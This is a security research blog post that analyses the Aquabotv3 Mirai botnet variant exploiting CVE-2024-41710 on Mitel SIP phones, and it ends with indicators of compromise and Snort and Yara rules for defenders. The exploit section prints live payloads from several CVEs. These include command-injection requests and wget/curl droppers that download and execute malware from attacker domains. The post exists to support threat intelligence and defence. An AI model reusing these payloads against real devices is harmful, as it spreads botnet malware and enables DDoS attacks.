

Active Exploitation: New Aquabot Variant Phones Home

 akamai.com/blog/security-research/new-aquabot-mirai-variant-exploiting-mitel-phones

January 28, 2025

[Kyle Lefton](#) and [Larry Cashdollar](#)



This malware exhibits a behavior we have never before seen with a Mirai variant.

Editorial and additional commentary by Tricia Howard

Executive summary

- The Akamai Security Intelligence and Response Team (SIRT) has identified a new variant of the Mirai-based malware, Aquabot, that is actively attempting to exploit Mitel SIP phones. As this is the third distinct iteration of Aquabot, we have dubbed it Aquabotv3.
- The malware exploits [CVE-2024-41710](#), a command injection vulnerability that affects Mitel models.
- **This malware exhibits a behavior we have never before seen with a Mirai variant:** a function (*report_kill*) to report back to the command and control (C2) when a kill signal was caught on the infected device. We have not seen any response from the C2 as of the date of this blog post.

Introduction and discovery

What is Aquabot?

Aquabot is a botnet that was built off the Mirai framework with the ultimate goal of [distributed denial of service \(DDoS\)](#). Its name is derived from the filename present in the analysis: “Aqua.” It has been known since November 2023 and first [reported](#) on by Antiy Labs. There are currently three known versions; we are introducing the third in this blog post.

The first version was very similar to Mirai’s base framework, and the second version tacked on concealment and persistence mechanisms, such as preventing device shutdown and restart. For a full technical analysis, we recommend reading [Antiy’s write-up](#).

This third iteration adds a novel activity for a Mirai-based botnet: C2 communication when the botnet catches certain signals. This, and other notable differences in functionality, separate the two versions significantly, supporting the distinction of a third variant.

The vulnerability and proof-of-concept exploit

CVE-2024-41710

[CVE-2024-41710](#) is a command injection vulnerability that affects Mitel 6800, 6900, and 6900w series SIP phones, including the 6970 Conference Unit through R6.4.0.HF1 (R6.4.0.136). It was originally disclosed in mid-July 2024. The vulnerability relies on an input sanitization flaw and exploitation can lead to root access of the device. This was shown in a proof of concept (PoC) made public by Packetlabs’ researcher Kyle Burns in mid-August 2024 on [GitHub](#).

There are no known instances of this vulnerability being exploited in the wild prior to the SIRT’s observations in January 2025.

Exploit proof of concept

The exploit proof of concept (PoC) shows us that an attacker could smuggle in entries otherwise blocked by the application’s sanitization checks by sending a specially crafted HTTP POST request.

In his GitHub README, Burns reported that **he found that the Mitel 6869i SIP phone, firmware version 6.3.0.1020, failed to sanitize user-supplied input properly, and he found multiple endpoints vulnerable to this.** For the PoC, he focused on the endpoint “802.1x Support” (8021xsupport.html).

Remote requests to 8021xsupport.html could be used to update the device’s local configuration (`/nvdata/etc/local.cfg`). By sending the byte value of “%dt”, the “*linemgrSip*” web application will interpret this as a line ending character “%0d”. This could be leveraged during the boot process,

when the contents of the device's local configuration are read and used for startup actions.

In his PoC exploit, Burns supplies the following payload specified in the *802.1x+identity* HTTP POST parameter to obtain code execution.

```
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s
/usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
```

During the boot process, the application will overwrite the targeted hostname entry in the device's local configuration. The hostname entry is then used during boot and will execute the prepended shell script.

Active exploitation

Akamai SIRT detected exploit attempts targeting this vulnerability through our global network of honeypots in early January 2025 using a payload almost identical to the PoC. The payload example shown in the previous section was targeting the URI *"/8021xsupport.html"*, but is now being used to spread malware in the wild.

```
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s
/usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl
http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
```

This payload will attempt to fetch and execute a shell script called *"bin.sh"*, which will in turn fetch and execute Mirai malware on the target system, with support for a variety of different architectures, like x86 and ARM.

```
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
```

Based on our analysis of the malware samples, we determined that this is a version of the Aquabot Mirai variant. It shares the most similarities with Aquabotv2; it has the same attack functions but with some notable differences that we will cover in the next sections. Because of this evolution in the malware, we have dubbed it Aquabotv3.

Malware analysis

At first glance, Aquabotv3 appears to be just a standard Mirai malware binary with typical DDoS attack functions, such as floods and bypasses.

```
[0x00008194]> afl|grep attack
0x000089f8    27 1680      sym.attack_gre_eth
0x0000c550    24 1256      sym.attack_udp_generic
0x0000b8f4    27  852      sym.attack_tcp_socket
0x0000be78    19  672      sym.attack_udp_plain
0x0000c118    20 1076      sym.attack_udp_vse
0x000084e8     8  108      sym.attack_get_opt_ip
0x0000a0fc    31 1780      sym.attack_tcp_ack
0x000085c4     1 1016      sym.attack_init
0x00009948    32 1968      sym.attack_tcp_stomp
0x000096a8    19  672      sym.attack_std
0x000081d0    13  244      sym.attack_start
0x0000aea0    31 1780      sym.attack_tcp_legit
0x000082cc    24  540      sym.attack_parse
0x0000a7f4    28 1704      sym.attack_tcp_syn
0x00008554     8  112      sym.attack_get_opt_int
0x0000bc4c    14  556      sym.attack_udp_bypass
0x0000908c    27 1560      sym.attack_gre_ip
0x0000b598    27  860      sym.attack_tcp_bypass
[0x00008194]>
```

However, we noticed a function called “*defend_binary()*” (seen in Figure 1 as “*sym.defend_binary*”) that sets up a signal handler “*handle_signal()*” for the following signals:

- Signal 15 (SIGTERM)
- Signal 2 (SIGINT)
- Signal 9 (SIGKILL)
- Signal 3 (SIGQUIT)
- Signal 20 (SIGTSTP)
- Signal 21 (SIGTTIN)
- Signal 22 (SIGTTOU)
- Signal 1 (SIGHUP)

Figure 1 shows that when any of these signals are sent to the running malware sample, the malware catches it.

Fig. 1: Disassembly of signal-catching function

Once it has caught the signal, the “*handle_signal*” function sets a flag in memory, indicating that the signal has been caught and that the binary was “defended” (Figure 2).

Fig. 2: *handle_signal()* function sets a value of 1 for variable “*is_defending*”

It doesn’t stop there — Aquabotv3 then reports back home. The function *report_kill()* sends a message to the C2 via TCP connection stating that a signal was caught (Figure 3).

Fig. 3: Reporting to the C2 that it caught a kill signal

The malware sends kill attempts back to the C2 as well (Figure 4). However, it doesn't appear that anything is reported back from the C2 based on the notification that a signal was caught.

We haven't seen this behavior before in a Mirai variant so perhaps it may become a new feature. Although the true reason for this behavior has not been confirmed, this communication to the C2 could be a way for the botnet author to actively monitor the botnet's health.

Fig. 4: The report_kill() function sending kill attempts to the C2

The botnet contains functions that are programmed to kill processes that match certain requirements, such as local shells.

```
[0x00008194]> afl|grep killer
0x0000d900  15 332      sym.killer_diego
0x0000da64  18 376      sym.killer_dora_the_explorer
0x0000d324  13 664      sym.killer_im_the_map
0x0000d5dc  18 388      sym.killer_boots
0x0000ced4  42 1068     sym.killer_tico
0x0000dbf8   4 100      sym.killer_init
0x0000d77c  15 356      sym.killer_swiper
```

In Aquabotv2 there were obfuscation mechanisms introduced, which were also present in v3. Figure 5 shows how the malware renames itself to “httpd.x86” and communicates with the C2 server 193.200.78[.]57 over port 33966.

Fig. 5: Malware renaming itself and setting up signal handling

Through our dynamic analysis of the malware's behavior, we discovered it also connects to the C2 server of 89.190.156[.]145 over port 7733. These ports remain consistent across many of the samples we analyzed.

```
root@debian:~# lsof |grep httpd
httpd      919                larry  cwd      DIR           8,1
4096      9879 /home/larry    httpd      919                larry  rtd      DIR           8,1
4096         2 /              httpd      919                larry  txt      REG           8,1
62772     10798 /home/larry/Aqua.x86 httpd      919                larry    0u      IPv4        23658
0t0        TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd      919                larry    3u      sock         0,8
0t0      16781 protocol: TCP
```

Additional vulnerabilities targeted

Like many other botnets, this one targets a variety of other vulnerabilities to spread its reach further. We observed the same Aquabot Mirai malware spreading through the commonly exploited Hadoop YARN vulnerability. Similar to the previously discussed payload, the exploit will fetch and

execute the same “*bin.sh*” shell script, which will then fetch and execute the Aquabot Mirai malware variant on a target system.

```
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
```

Exploitation of Hadoop YARN vulnerability

Some of the other vulnerabilities that we observed being targeted by the botnetwere: CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, Linksys E-series RCE, CVE-2018-10562, and CVE-2018-10561. Although the filenames differ from the straightforward “Aqua” naming from the Mitel exploit attempts, the malware from these other exploits appears to be the same.

```
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
```

Exploitation of CVE-2018-17532

```
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lblink;
```

Exploitation of CVE-2023-26801

```
/app/options.py  
show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
```

Exploitation of CVE-2022-31137

```
/tmUnblock.cgi  
submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
```

Exploitation of Linksys E-series RCE

```
/GponForm/diag_Form?images/  
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
```

Exploitation of CVE-2018-10562 and CVE-2018-10561

DDoS as a service

We also saw that the threat actor(s) behind Aquabot have been advertising this botnet as DDoS as a service through platforms such as Telegram (Figure 6). It's been advertised under several different names offering Layer 4 and Layer 7 DDoS. The naming conventions vary, some which are misleading regarding its true purpose: Cursinq Firewall, The Eye Services, and The Eye Botnet.

Fig. 6: Advertisement on one of the botnet's domains

Threat actors commonly claim that the botnet is used only for DDoS mitigation testing purposes to try to mislead researchers or law enforcement. Threat actors will claim it's just a PoC or something educational, but a deeper analysis shows that they are in fact advertising DDoS as a service, or the owners are boasting about running their own botnet on Telegram.

For example, in the advertisement in Figure 6, this very same domain that they claim is “purely testing” for “DDoS Mitigation Systems” has been actively spreading Mirai malware.

Mirai and DDoS go hand in hand

DDoS continues to be a pervasive threat to many organizations, and botnets such as Aquabot are key players in this. Moreover, **as the majority of these botnets are based on Mirai malware, they predominantly target Internet of Things (IoT) devices, which makes spreading the malware relatively easy to do.**

The ROI of Mirai for an aspiring botnet author is high. Mirai is one of the most successful botnet families in the world, and is also one of the more simple ones to modify. These IoT machines often lack proper security features, are at the end of service, or are left with default configurations and passwords either from neglect or lack of knowledge about the dangers.

In the case of Aquabot, the core malware is the same as Mirai but the signal handling is particularly unique. Unique, however, is not always the most useful — this malware was not particularly quiet, which could be to its detriment.

The reason for the unique signal handling could be that the threat actor is intentionally observing a machine's defensive activity to develop more stealthy variants in the future. It could also be used to detect active disruption/attacks from competing botnets or ethical take down campaigns, or any combination thereof.

Take action

Whatever the attacker's intentions are, taking action on unsecure IoT devices (like discovery and changing default credentials) can help in the fight against DDoS. Many of these botnets rely on common password libraries for authentication. Find out where your known

IoT devices are, and check for rogue ones, too. Check the login credentials and change them if they are default or easy to guess.

Learn more

The Akamai SIRT will continue to discover, monitor, and report on threats such as CVE-2024-41710 for the safety of our customers, fellow employees, and the security community at large. To keep up with current findings, you can follow us on [social media](#) or check out our [security research](#) page.

Indicators of compromise

We've included a list of indicators of compromise (IOCs), as well as Snort and Yara rules, to aid defenders.

Snort rules for network IOCs

Snort rules for malicious IPs

```
# Outbound traffic TO any of these malicious IPs
alert ip any any ->
[89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,1
41.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )

# Inbound traffic FROM any of these malicious IPs
alert ip
[89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,1
41.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
```

Snort rules for C2 domain resolution detection

```
alert udp any any -> any 53 (  
  msg:"Malicious domain DNS query (subdomains included)";  
  ;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:  
  dns_query;  
  pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|  
(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|  
(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";  
  classtype:botnet-activity;  
  sid:1000001;  
  rev:1;  
  priority:1;  
)
```

Yara rules for malware samples

```
import "hash"

rule Malicious_Malware_IOCs
{
    meta:
        description = "Detects suspicious samples referencing known malicious
infrastructure and strings"

    strings:
        // --- IP addresses (as ASCII) ---
        $ip1  = "89.190.156.145"
        $ip2  = "91.92.243.233"
        $ip3  = "213.130.144.69"
        $ip4  = "154.216.16.109"
        $ip5  = "193.200.78.33"
        $ip6  = "173.239.233.47"
        $ip7  = "141.98.11.67"
        $ip8  = "141.98.11.175"
        $ip9  = "173.239.233.48"
        $ip10 = "173.239.233.46"

        // --- Domain names (as ASCII) ---
        $dom1 = "dogmuncher.xyz"
        $dom2 = "cardiacpure.ru"
        $dom3 = "fuerer-net.ru"
        $dom4 = "eye-network.ru"
        $dom5 = "intenseapi.com"
        $dom6 = "cloudboats.vip"
        $dom7 = "theeyefirewall.su"
        $dom8 = "awaken-network.net"

        // --- Unique strings from malware analysis ---
        $str_locker_killed = "[locker] killed process: %s"
        $str_killer_node   = "[killer/node] killed process: %s"
        $str_killer_cpu    = "[killer/cpu] killed process: %s"
        $str_killer_cmd     = "[killer/cmd] killed process: %s"
        $str_killer_stat    = "[killer/stat] killed process: %s"
        $str_killer_exe     = "[killer/exe] killed process: %s"
        $str_killer_maps    = "[killer/maps] killed process: %s"

    condition:
        any of ($ip*) or           // Match if any malicious IP is found in ASCII form
        any of ($dom*) or         // Match if any malicious domain is found in ASCII form
        any of ($str_killer*) or ($str_locker_killed)
}

rule Known_Malicious_Files_by_SHA256
{
    meta:
```

```
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
```

```
condition:
```

```
    hash.sha256(0, filesize) in (
        "597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
        "6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
        "b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
        "b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
        "1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
        "e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
    )
```

```
}
```

IPv4 addresses of historical infrastructure

89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46

Domains for C2 and malware distribution endpoints

dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net

SHA256 hashes

597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86

6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec

b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b

b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de

1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef

e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3

[See more research](#)

- [Bot Attacks](#)
- [Research](#)
- [Threat Intelligence](#)
- [Security Research](#)

Share



Written by

[Kyle Lefton](#)

Kyle Lefton is a security researcher on Akamai's Security Intelligence Response Team. Formerly an intelligence analyst for the Department of Defense, Kyle has experience in cyber defense, threat research, and counter-intelligence, spanning several years. He takes pride in investigating emerging threats, vulnerability research, and threat group mapping. In his free time, he enjoys spending time with friends and family, strategy games, and hiking in the great outdoors.



Written by

[Larry Cashdollar](#)

Larry Cashdollar has been working in the security field as a vulnerability researcher for more than 20 years and is currently a Principal Security Researcher on the Security Intelligence Response Team at Akamai. He studied computer science at the University of Southern Maine. Larry has documented more than 300 CVEs and has presented his research at BotConf, BSidesBoston, OWASP Rhode Island, and DEF CON. He enjoys the outdoors and rebuilding small engines in his spare time.